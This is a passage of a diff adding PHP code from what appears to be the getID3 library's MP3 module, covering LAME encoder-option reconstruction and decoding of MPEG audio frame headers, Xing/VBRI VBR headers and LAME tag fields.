+				$LAME_V_value = 10 - ceil($thisfile_mpeg_audio_lame['vbr_quality'] / 10);
+				$LAME_q_value = 100 - $thisfile_mpeg_audio_lame['vbr_quality'] - ($LAME_V_value * 10);
+				$encoder_options = '-V'.$LAME_V_value.' -q'.$LAME_q_value;
+
+			} elseif ($info['audio']['bitrate_mode'] == 'cbr') {
+
+				$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000);
+
+			} else {
+
+				$encoder_options = strtoupper($info['audio']['bitrate_mode']);
+
+			}
+
+		} elseif (!empty($thisfile_mpeg_audio_lame['bitrate_abr'])) {
+
+			$encoder_options = 'ABR'.$thisfile_mpeg_audio_lame['bitrate_abr'];
+
+		} elseif (!empty($info['audio']['bitrate'])) {
+
+			if ($info['audio']['bitrate_mode'] == 'cbr') {
+				$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000);
+			} else {
+				$encoder_options = strtoupper($info['audio']['bitrate_mode']);
+			}
+
+		}
+		if (!empty($thisfile_mpeg_audio_lame['bitrate_min'])) {
+			$encoder_options .= ' -b'.$thisfile_mpeg_audio_lame['bitrate_min'];
+		}
+
+		if (!empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev']) || !empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_next'])) {
+			$encoder_options .= ' --nogap';
+		}
+
+		if (!empty($thisfile_mpeg_audio_lame['lowpass_frequency'])) {
+			$ExplodedOptions = explode(' ', $encoder_options, 4);
+			if ($ExplodedOptions[0] == '--r3mix') {
+				$ExplodedOptions[1] = 'r3mix';
+			}
+			switch ($ExplodedOptions[0]) {
+				case '--preset':
+				case '--alt-preset':
+				case '--r3mix':
+					if ($ExplodedOptions[1] == 'fast') {
+						$ExplodedOptions[1] .= ' '.$ExplodedOptions[2];
+					}
+					switch ($ExplodedOptions[1]) {
+						case 'portable':
+						case 'medium':
+						case 'standard':
+						case 'extreme':
+						case 'insane':
+						case 'fast portable':
+						case 'fast medium':
+						case 'fast standard':
+						case 'fast extreme':
+						case 'fast insane':
+						case 'r3mix':
+							static $ExpectedLowpass = array(
+									'insane|20500'        => 20500,
+									'insane|20600'        => 20600,  // 3.90.2, 3.90.3, 3.91
+									'medium|18000'        => 18000,
+									'fast medium|18000'   => 18000,
+									'extreme|19500'       => 19500,  // 3.90,   3.90.1, 3.92, 3.95
+									'extreme|19600'       => 19600,  // 3.90.2, 3.90.3, 3.91, 3.93.1
+									'fast extreme|19500'  => 19500,  // 3.90,   3.90.1, 3.92, 3.95
+									'fast extreme|19600'  => 19600,  // 3.90.2, 3.90.3, 3.91, 3.93.1
+									'standard|19000'      => 19000,
+									'fast standard|19000' => 19000,
+									'r3mix|19500'         => 19500,  // 3.90,   3.90.1, 3.92
+									'r3mix|19600'         => 19600,  // 3.90.2, 3.90.3, 3.91
+									'r3mix|18000'         => 18000,  // 3.94,   3.95
+								);
+							if (!isset($ExpectedLowpass[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio_lame['lowpass_frequency']]) && ($thisfile_mpeg_audio_lame['lowpass_frequency'] < 22050) && (round($thisfile_mpeg_audio_lame['lowpass_frequency'] / 1000) < round($thisfile_mpeg_audio['sample_rate'] / 2000))) {
+								$encoder_options .= ' --lowpass '.$thisfile_mpeg_audio_lame['lowpass_frequency'];
+							}
+							break;
+
+						default:
+							break;
+					}
+					break;
+			}
+		}
+
+		if (isset($thisfile_mpeg_audio_lame['raw']['source_sample_freq'])) {
+			if (($thisfile_mpeg_audio['sample_rate'] == 44100) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 1)) {
+				$encoder_options .= ' --resample 44100';
+			} elseif (($thisfile_mpeg_audio['sample_rate'] == 48000) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 2)) {
+				$encoder_options .= ' --resample 48000';
+			} elseif ($thisfile_mpeg_audio['sample_rate'] < 44100) {
+				switch ($thisfile_mpeg_audio_lame['raw']['source_sample_freq']) {
+					case 0: // <= 32000
+						// may or may not be same as source frequency - ignore
+						break;
+					case 1: // 44100
+					case 2: // 48000
+					case 3: // 48000+
+						$ExplodedOptions = explode(' ', $encoder_options, 4);
+						switch ($ExplodedOptions[0]) {
+							case '--preset':
+							case '--alt-preset':
+								switch ($ExplodedOptions[1]) {
+									case 'fast':
+									case 'portable':
+									case 'medium':
+									case 'standard':
+									case 'extreme':
+									case 'insane':
+										$encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate'];
+										break;
+
+									default:
+										static $ExpectedResampledRate = array(
+												'phon+/lw/mw-eu/sw|16000' => 16000,
+												'mw-us|24000'             => 24000, // 3.95
+												'mw-us|32000'             => 32000, // 3.93
+												'mw-us|16000'             => 16000, // 3.92
+												'phone|16000'             => 16000,
+												'phone|11025'             => 11025, // 3.94a15
+												'radio|32000'             => 32000, // 3.94a15
+												'fm/radio|32000'          => 32000, // 3.92
+												'fm|32000'                => 32000, // 3.90
+												'voice|32000'             => 32000);
+										if (!isset($ExpectedResampledRate[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio['sample_rate']])) {
+											$encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate'];
+										}
+										break;
+								}
+								break;
+
+							case '--r3mix':
+							default:
+								$encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate'];
+								break;
+						}
+						break;
+				}
+			}
+		}
+		if (empty($encoder_options) && !empty($info['audio']['bitrate']) && !empty($info['audio']['bitrate_mode'])) {
+			//$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000);
+			$encoder_options = strtoupper($info['audio']['bitrate_mode']);
+		}
+
+		return $encoder_options;
+	}
+
+
+	public function decodeMPEGaudioHeader($offset, &$info, $recursivesearch=true, $ScanAsCBR=false, $FastMPEGheaderScan=false) {
+		static $MPEGaudioVersionLookup;
+		static $MPEGaudioLayerLookup;
+		static $MPEGaudioBitrateLookup;
+		static $MPEGaudioFrequencyLookup;
+		static $MPEGaudioChannelModeLookup;
+		static $MPEGaudioModeExtensionLookup;
+		static $MPEGaudioEmphasisLookup;
+		if (empty($MPEGaudioVersionLookup)) {
+			$MPEGaudioVersionLookup       = self::MPEGaudioVersionArray();
+			$MPEGaudioLayerLookup         = self::MPEGaudioLayerArray();
+			$MPEGaudioBitrateLookup       = self::MPEGaudioBitrateArray();
+			$MPEGaudioFrequencyLookup     = self::MPEGaudioFrequencyArray();
+			$MPEGaudioChannelModeLookup   = self::MPEGaudioChannelModeArray();
+			$MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray();
+			$MPEGaudioEmphasisLookup      = self::MPEGaudioEmphasisArray();
+		}
+
+		if ($this->fseek($offset) != 0) {
+			$info['error'][] = 'decodeMPEGaudioHeader() failed to seek to next offset at '.$offset;
+			return false;
+		}
+		//$headerstring = $this->fread(1441); // worst-case max length = 32kHz @ 320kbps layer 3 = 1441 bytes/frame
+		$headerstring = $this->fread(226); // LAME header at offset 36 + 190 bytes of Xing/LAME data
+
+		// MP3 audio frame structure:
+		// $aa $aa $aa $aa [$bb $bb] $cc...
+		// where $aa..$aa is the four-byte mpeg-audio header (below)
+		// $bb $bb is the optional 2-byte CRC
+		// and $cc... is the audio data
+
+		$head4 = substr($headerstring, 0, 4);
+
+		static $MPEGaudioHeaderDecodeCache = array();
+		if (isset($MPEGaudioHeaderDecodeCache[$head4])) {
+			$MPEGheaderRawArray = $MPEGaudioHeaderDecodeCache[$head4];
+		} else {
+			$MPEGheaderRawArray = self::MPEGaudioHeaderDecode($head4);
+			$MPEGaudioHeaderDecodeCache[$head4] = $MPEGheaderRawArray;
+		}
+
+		static $MPEGaudioHeaderValidCache = array();
+		if (!isset($MPEGaudioHeaderValidCache[$head4])) { // Not in cache
+			//$MPEGaudioHeaderValidCache[$head4] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, true);  // allow badly-formatted freeformat (from LAME 3.90 - 3.93.1)
+			$MPEGaudioHeaderValidCache[$head4] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, false);
+		}
+
+		// shortcut
+		if (!isset($info['mpeg']['audio'])) {
+			$info['mpeg']['audio'] = array();
+		}
+		$thisfile_mpeg_audio = &$info['mpeg']['audio'];
+
+
+		if ($MPEGaudioHeaderValidCache[$head4]) {
+			$thisfile_mpeg_audio['raw'] = $MPEGheaderRawArray;
+		} else {
+			$info['error'][] = 'Invalid MPEG audio header ('.getid3_lib::PrintHexBytes($head4).') at offset '.$offset;
+			return false;
+		}
+
+		if (!$FastMPEGheaderScan) {
+			$thisfile_mpeg_audio['version']       = $MPEGaudioVersionLookup[$thisfile_mpeg_audio['raw']['version']];
+			$thisfile_mpeg_audio['layer']         = $MPEGaudioLayerLookup[$thisfile_mpeg_audio['raw']['layer']];
+
+			$thisfile_mpeg_audio['channelmode']   = $MPEGaudioChannelModeLookup[$thisfile_mpeg_audio['raw']['channelmode']];
+			$thisfile_mpeg_audio['channels']      = (($thisfile_mpeg_audio['channelmode'] == 'mono') ? 1 : 2);
+			$thisfile_mpeg_audio['sample_rate']   = $MPEGaudioFrequencyLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['raw']['sample_rate']];
+			$thisfile_mpeg_audio['protection']    = !$thisfile_mpeg_audio['raw']['protection'];
+			$thisfile_mpeg_audio['private']       = (bool) $thisfile_mpeg_audio['raw']['private'];
+			$thisfile_mpeg_audio['modeextension'] = $MPEGaudioModeExtensionLookup[$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['modeextension']];
+			$thisfile_mpeg_audio['copyright']     = (bool) $thisfile_mpeg_audio['raw']['copyright'];
+			$thisfile_mpeg_audio['original']      = (bool) $thisfile_mpeg_audio['raw']['original'];
+			$thisfile_mpeg_audio['emphasis']      = $MPEGaudioEmphasisLookup[$thisfile_mpeg_audio['raw']['emphasis']];
+
+			$info['audio']['channels']    = $thisfile_mpeg_audio['channels'];
+			$info['audio']['sample_rate'] = $thisfile_mpeg_audio['sample_rate'];
+
+			if ($thisfile_mpeg_audio['protection']) {
+				$thisfile_mpeg_audio['crc'] = getid3_lib::BigEndian2Int(substr($headerstring, 4, 2));
+			}
+		}
+
+		if ($thisfile_mpeg_audio['raw']['bitrate'] == 15) {
+			// http://www.hydrogenaudio.org/?act=ST&f=16&t=9682&st=0
+			$info['warning'][] = 'Invalid bitrate index (15), this is a known bug in free-format MP3s encoded by LAME v3.90 - 3.93.1';
+			$thisfile_mpeg_audio['raw']['bitrate'] = 0;
+		}
+		$thisfile_mpeg_audio['padding'] = (bool) $thisfile_mpeg_audio['raw']['padding'];
+		$thisfile_mpeg_audio['bitrate'] = $MPEGaudioBitrateLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['bitrate']];
+
+		if (($thisfile_mpeg_audio['bitrate'] == 'free') && ($offset == $info['avdataoffset'])) {
+			// only skip multiple frame check if free-format bitstream found at beginning of file
+			// otherwise is quite possibly simply corrupted data
+			$recursivesearch = false;
+		}
+
+		// For Layer 2 there are some combinations of bitrate and mode which are not allowed.
+		if (!$FastMPEGheaderScan && ($thisfile_mpeg_audio['layer'] == '2')) {
+
+			$info['audio']['dataformat'] = 'mp2';
+			switch ($thisfile_mpeg_audio['channelmode']) {
+
+				case 'mono':
+					if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] <= 192000)) {
+						// these are ok
+					} else {
+						$info['error'][] = $thisfile_mpeg_audio['bitrate'].'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.';
+						return false;
+					}
+					break;
+
+				case 'stereo':
+				case 'joint stereo':
+				case 'dual channel':
+					if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] == 64000) || ($thisfile_mpeg_audio['bitrate'] >= 96000)) {
+						// these are ok
+					} else {
+						$info['error'][] = intval(round($thisfile_mpeg_audio['bitrate'] / 1000)).'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.';
+						return false;
+					}
+					break;
+
+			}
+
+		}
+
+
+		if ($info['audio']['sample_rate'] > 0) {
+			$thisfile_mpeg_audio['framelength'] = self::MPEGaudioFrameLength($thisfile_mpeg_audio['bitrate'], $thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['layer'], (int) $thisfile_mpeg_audio['padding'], $info['audio']['sample_rate']);
+		}
+
+		$nextframetestoffset = $offset + 1;
+		if ($thisfile_mpeg_audio['bitrate'] != 'free') {
+
+			$info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate'];
+
+			if (isset($thisfile_mpeg_audio['framelength'])) {
+				$nextframetestoffset = $offset + $thisfile_mpeg_audio['framelength'];
+			} else {
+				$info['error'][] = 'Frame at offset('.$offset.') is has an invalid frame length.';
+				return false;
+			}
+
+		}
+
+		$ExpectedNumberOfAudioBytes = 0;
+
+		////////////////////////////////////////////////////////////////////////////////////
+		// Variable-bitrate headers
+
+		if (substr($headerstring, 4 + 32, 4) == 'VBRI') {
+			// Fraunhofer VBR header is hardcoded 'VBRI' at offset 0x24 (36)
+			// specs taken from http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html
+
+			$thisfile_mpeg_audio['bitrate_mode'] = 'vbr';
+			$thisfile_mpeg_audio['VBR_method']   = 'Fraunhofer';
+			$info['audio']['codec']                = 'Fraunhofer';
+
+			$SideInfoData = substr($headerstring, 4 + 2, 32);
+
+			$FraunhoferVBROffset = 36;
+
+			$thisfile_mpeg_audio['VBR_encoder_version']     = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset +  4, 2)); // VbriVersion
+			$thisfile_mpeg_audio['VBR_encoder_delay']       = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset +  6, 2)); // VbriDelay
+			$thisfile_mpeg_audio['VBR_quality']             = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset +  8, 2)); // VbriQuality
+			$thisfile_mpeg_audio['VBR_bytes']               = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 10, 4)); // VbriStreamBytes
+			$thisfile_mpeg_audio['VBR_frames']              = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 14, 4)); // VbriStreamFrames
+			$thisfile_mpeg_audio['VBR_seek_offsets']        = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 18, 2)); // VbriTableSize
+			$thisfile_mpeg_audio['VBR_seek_scale']          = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 20, 2)); // VbriTableScale
+			$thisfile_mpeg_audio['VBR_entry_bytes']         = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 22, 2)); // VbriEntryBytes
+			$thisfile_mpeg_audio['VBR_entry_frames']        = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 24, 2)); // VbriEntryFrames
+
+			$ExpectedNumberOfAudioBytes = $thisfile_mpeg_audio['VBR_bytes'];
+
+			$previousbyteoffset = $offset;
+			for ($i = 0; $i < $thisfile_mpeg_audio['VBR_seek_offsets']; $i++) {
+				$Fraunhofer_OffsetN = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset, $thisfile_mpeg_audio['VBR_entry_bytes']));
+				$FraunhoferVBROffset += $thisfile_mpeg_audio['VBR_entry_bytes'];
+				$thisfile_mpeg_audio['VBR_offsets_relative'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']);
+				$thisfile_mpeg_audio['VBR_offsets_absolute'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']) + $previousbyteoffset;
+				$previousbyteoffset += $Fraunhofer_OffsetN;
+			}
+
+
+		} else {
+
+			// Xing VBR header is hardcoded 'Xing' at a offset 0x0D (13), 0x15 (21) or 0x24 (36)
+			// depending on MPEG layer and number of channels
+
+			$VBRidOffset = self::XingVBRidOffset($thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['channelmode']);
+			$SideInfoData = substr($headerstring, 4 + 2, $VBRidOffset - 4);
+
+			if ((substr($headerstring, $VBRidOffset, strlen('Xing')) == 'Xing') || (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Info')) {
+				// 'Xing' is traditional Xing VBR frame
+				// 'Info' is LAME-encoded CBR (This was done to avoid CBR files to be recognized as traditional Xing VBR files by some decoders.)
+				// 'Info' *can* legally be used to specify a VBR file as well, however.
+
+				// http://www.multiweb.cz/twoinches/MP3inside.htm
+				//00..03 = "Xing" or "Info"
+				//04..07 = Flags:
+				//  0x01  Frames Flag     set if value for number of frames in file is stored
+				//  0x02  Bytes Flag      set if value for filesize in bytes is stored
+				//  0x04  TOC Flag        set if values for TOC are stored
+				//  0x08  VBR Scale Flag  set if values for VBR scale is stored
+				//08..11  Frames: Number of frames in file (including the first Xing/Info one)
+				//12..15  Bytes:  File length in Bytes
+				//16..115  TOC (Table of Contents):
+				//  Contains of 100 indexes (one Byte length) for easier lookup in file. Approximately solves problem with moving inside file.
+				//  Each Byte has a value according this formula:
+				//  (TOC[i] / 256) * fileLenInBytes
+				//  So if song lasts eg. 240 sec. and you want to jump to 60. sec. (and file is 5 000 000 Bytes length) you can use:
+				//  TOC[(60/240)*100] = TOC[25]
+				//  and corresponding Byte in file is then approximately at:
+				//  (TOC[25]/256) * 5000000
+				//116..119  VBR Scale
+
+
+				// should be safe to leave this at 'vbr' and let it be overriden to 'cbr' if a CBR preset/mode is used by LAME
+//				if (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Xing') {
+					$thisfile_mpeg_audio['bitrate_mode'] = 'vbr';
+					$thisfile_mpeg_audio['VBR_method']   = 'Xing';
+//				} else {
+//					$ScanAsCBR = true;
+//					$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
+//				}
+
+				$thisfile_mpeg_audio['xing_flags_raw'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 4, 4));
+
+				$thisfile_mpeg_audio['xing_flags']['frames']    = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000001);
+				$thisfile_mpeg_audio['xing_flags']['bytes']     = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000002);
+				$thisfile_mpeg_audio['xing_flags']['toc']       = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000004);
+				$thisfile_mpeg_audio['xing_flags']['vbr_scale'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000008);
+
+				if ($thisfile_mpeg_audio['xing_flags']['frames']) {
+					$thisfile_mpeg_audio['VBR_frames'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset +  8, 4));
+					//$thisfile_mpeg_audio['VBR_frames']--; // don't count header Xing/Info frame
+				}
+				if ($thisfile_mpeg_audio['xing_flags']['bytes']) {
+					$thisfile_mpeg_audio['VBR_bytes']  = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 12, 4));
+				}
+
+				//if (($thisfile_mpeg_audio['bitrate'] == 'free') && !empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) {
+				if (!empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) {
+
+					$framelengthfloat = $thisfile_mpeg_audio['VBR_bytes'] / $thisfile_mpeg_audio['VBR_frames'];
+
+					if ($thisfile_mpeg_audio['layer'] == '1') {
+						// BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12
+						//$info['audio']['bitrate'] = ((($framelengthfloat / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12;
+						$info['audio']['bitrate'] = ($framelengthfloat / 4) * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 12;
+					} else {
+						// Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144
+						//$info['audio']['bitrate'] = (($framelengthfloat - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144;
+						$info['audio']['bitrate'] = $framelengthfloat * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 144;
+					}
+					$thisfile_mpeg_audio['framelength'] = floor($framelengthfloat);
+				}
+
+				if ($thisfile_mpeg_audio['xing_flags']['toc']) {
+					$LAMEtocData = substr($headerstring, $VBRidOffset + 16, 100);
+					for ($i = 0; $i < 100; $i++) {
+						$thisfile_mpeg_audio['toc'][$i] = ord($LAMEtocData{$i});
+					}
+				}
+				if ($thisfile_mpeg_audio['xing_flags']['vbr_scale']) {
+					$thisfile_mpeg_audio['VBR_scale'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 116, 4));
+				}
+
+
+				// http://gabriel.mp3-tech.org/mp3infotag.html
+				if (substr($headerstring, $VBRidOffset + 120, 4) == 'LAME') {
+
+					// shortcut
+					$thisfile_mpeg_audio['LAME'] = array();
+					$thisfile_mpeg_audio_lame    = &$thisfile_mpeg_audio['LAME'];
+
+
+					$thisfile_mpeg_audio_lame['long_version']  = substr($headerstring, $VBRidOffset + 120, 20);
+					$thisfile_mpeg_audio_lame['short_version'] = substr($thisfile_mpeg_audio_lame['long_version'], 0, 9);
+
+					if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.90') {
+
+						// extra 11 chars are not part of version string when LAMEtag present
+						unset($thisfile_mpeg_audio_lame['long_version']);
+
+						// It the LAME tag was only introduced in LAME v3.90
+						// http://www.hydrogenaudio.org/?act=ST&f=15&t=9933
+
+						// Offsets of various bytes in http://gabriel.mp3-tech.org/mp3infotag.html
+						// are assuming a 'Xing' identifier offset of 0x24, which is the case for
+						// MPEG-1 non-mono, but not for other combinations
+						$LAMEtagOffsetContant = $VBRidOffset - 0x24;
+
+						// shortcuts
+						$thisfile_mpeg_audio_lame['RGAD']    = array('track'=>array(), 'album'=>array());
+						$thisfile_mpeg_audio_lame_RGAD       = &$thisfile_mpeg_audio_lame['RGAD'];
+						$thisfile_mpeg_audio_lame_RGAD_track = &$thisfile_mpeg_audio_lame_RGAD['track'];
+						$thisfile_mpeg_audio_lame_RGAD_album = &$thisfile_mpeg_audio_lame_RGAD['album'];
+						$thisfile_mpeg_audio_lame['raw'] = array();
+						$thisfile_mpeg_audio_lame_raw    = &$thisfile_mpeg_audio_lame['raw'];
+
+						// byte $9B  VBR Quality
+						// This field is there to indicate a quality level, although the scale was not precised in the original Xing specifications.
+						// Actually overwrites original Xing bytes
+						unset($thisfile_mpeg_audio['VBR_scale']);
+						$thisfile_mpeg_audio_lame['vbr_quality'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0x9B, 1));
+
+						// bytes $9C-$A4  Encoder short VersionString
+						$thisfile_mpeg_audio_lame['short_version'] = substr($headerstring, $LAMEtagOffsetContant + 0x9C, 9);
+
+						// byte $A5  Info Tag revision + VBR method
+						$LAMEtagRevisionVBRmethod = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA5, 1));
+
+						$thisfile_mpeg_audio_lame['tag_revision']   = ($LAMEtagRevisionVBRmethod & 0xF0) >> 4;
+						$thisfile_mpeg_audio_lame_raw['vbr_method'] =  $LAMEtagRevisionVBRmethod & 0x0F;
+						$thisfile_mpeg_audio_lame['vbr_method']     = self::LAMEvbrMethodLookup($thisfile_mpeg_audio_lame_raw['vbr_method']);
+						$thisfile_mpeg_audio['bitrate_mode']        = substr($thisfile_mpeg_audio_lame['vbr_method'], 0, 3); // usually either 'cbr' or 'vbr', but truncates 'vbr-old / vbr-rh' to 'vbr'
+
+						// byte $A6  Lowpass filter value
+						$thisfile_mpeg_audio_lame['lowpass_frequency'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA6, 1)) * 100;
+
+						// bytes $A7-$AE  Replay Gain
+						// http://privatewww.essex.ac.uk/~djmrob/replaygain/rg_data_format.html
+						// bytes $A7-$AA : 32 bit floating point "Peak signal amplitude"
+						if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.94b') {
+							// LAME 3.94a16 and later - 9.23 fixed point
+							// ie 0x0059E2EE / (2^23) = 5890798 / 8388608 = 0.7022378444671630859375
+							$thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = (float) ((getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4))) / 8388608);
+						} else {
+							// LAME 3.94a15 and earlier - 32-bit floating point
+							// Actually 3.94a16 will fall in here too and be WRONG, but is hard to detect 3.94a16 vs 3.94a15
+							$thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = getid3_lib::LittleEndian2Float(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4));
+						}
+						if ($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] == 0) {
+							unset($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']);
+						} else {
+							$thisfile_mpeg_audio_lame_RGAD['peak_db'] = getid3_lib::RGADamplitude2dB($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']);
+						}
+
+						$thisfile_mpeg_audio_lame_raw['RGAD_track']      =   getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAB, 2));
+						$thisfile_mpeg_audio_lame_raw['RGAD_album']      =   getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAD, 2));
+
+
+						if ($thisfile_mpeg_audio_lame_raw['RGAD_track'] != 0) {
+
+							$thisfile_mpeg_audio_lame_RGAD_track['raw']['name']        = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0xE000) >> 13;
+							$thisfile_mpeg_audio_lame_RGAD_track['raw']['originator']  = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x1C00) >> 10;
+							$thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit']    = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x0200) >> 9;
+							$thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'] =  $thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x01FF;
+							$thisfile_mpeg_audio_lame_RGAD_track['name']       = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['name']);
+							$thisfile_mpeg_audio_lame_RGAD_track['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['originator']);
+							$thisfile_mpeg_audio_lame_RGAD_track['gain_db']    = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit']);
+
+							if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) {
+								$info['replay_gain']['track']['peak']   = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'];
+							}
+							$info['replay_gain']['track']['originator'] = $thisfile_mpeg_audio_lame_RGAD_track['originator'];
+							$info['replay_gain']['track']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_track['gain_db'];
+						} else {
+							unset($thisfile_mpeg_audio_lame_RGAD['track']);
+						}
+						if ($thisfile_mpeg_audio_lame_raw['RGAD_album'] != 0) {
+
+							$thisfile_mpeg_audio_lame_RGAD_album['raw']['name']        = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0xE000) >> 13;
+							$thisfile_mpeg_audio_lame_RGAD_album['raw']['originator']  = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x1C00) >> 10;
+							$thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit']    = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x0200) >> 9;
+							$thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'] = $thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x01FF;
+							$thisfile_mpeg_audio_lame_RGAD_album['name']       = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['name']);
+							$thisfile_mpeg_audio_lame_RGAD_album['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['originator']);
+							$thisfile_mpeg_audio_lame_RGAD_album['gain_db']    = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit']);
+
+							if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) {
+								$info['replay_gain']['album']['peak']   = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'];
+							}
+							$info['replay_gain']['album']['originator'] = $thisfile_mpeg_audio_lame_RGAD_album['originator'];
+							$info['replay_gain']['album']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_album['gain_db'];
+						} else {
+							unset($thisfile_mpeg_audio_lame_RGAD['album']);
+						}
+						if (empty($thisfile_mpeg_audio_lame_RGAD)) {
+							unset($thisfile_mpeg_audio_lame['RGAD']);
+						}
+
+
+						// byte $AF  Encoding flags + ATH Type
+						$EncodingFlagsATHtype = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAF, 1));
+						$thisfile_mpeg_audio_lame['encoding_flags']['nspsytune']   = (bool) ($EncodingFlagsATHtype & 0x10);
+						$thisfile_mpeg_audio_lame['encoding_flags']['nssafejoint'] = (bool) ($EncodingFlagsATHtype & 0x20);
+						$thisfile_mpeg_audio_lame['encoding_flags']['nogap_next']  = (bool) ($EncodingFlagsATHtype & 0x40);
